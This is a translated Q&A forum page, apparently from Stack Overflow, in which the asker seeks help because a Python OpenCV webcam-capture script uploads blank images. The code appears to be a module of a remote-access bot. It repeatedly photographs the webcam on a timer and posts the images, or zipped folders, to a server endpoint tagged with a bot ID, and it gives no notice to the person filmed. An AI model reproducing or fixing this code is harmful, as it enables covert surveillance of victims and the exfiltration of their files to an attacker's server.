在OpenCV网络摄像头捕获失败后上传

时间:2016-08-24 16:02:48

标签: python image opencv networking

好吧,我正试图用OpenCV创建一个网络摄像头捕获器,然后将当前图像发送到我的服务器。从我所知道的是,它创造了什么,但是当我运行我的上传命令时,它会发送某种空白图片。如果我在程序终止后去查看最新的图片,那么它就是好的。这是我的代码,非常感谢任何帮助。

import os
import time
import threading
import cv2
from PIL import Image

import upload
import utils

streaming = False

def update_webcam():
    global streaming
    if streaming:
        threading.Timer(5.0, update_webcam).start()
    camera = cv2.VideoCapture(0)
    time.sleep(0.1)
    filepath = os.path.join(os.environ['temp'], "webcam.jpg")
    return_value, image = camera.read()
    cv2.imwrite(filepath, image)
    del (camera)
    upload.run(filepath)

def run(action):
    global streaming
    if action == "capture":
        update_webcam()
    if action == "start":
        streaming = True
        update_webcam()
    if action == "stop":
        streaming = False

上传文件:

import requests
import os
import shutil

import utils
import settings


def run(path):
    filename = os.path.basename(path)
    if os.path.isdir(path):
        arch_path = shutil.make_archive(filename, 'zip', path)
        requests.post(settings.SERVER_URL + "/api/upload", {'botid': settings.BOT_ID, 'src': os.path.basename(arch_path)}, files={'uploaded': open(arch_path, 'rb')})
        os.remove(arch_path)
    else:
        requests.post(settings.SERVER_URL + "/api/upload", {'botid': settings.BOT_ID, 'src': filename}, files={'uploaded': open(path, 'rb')})

0 个答案:

没有答案
相关问题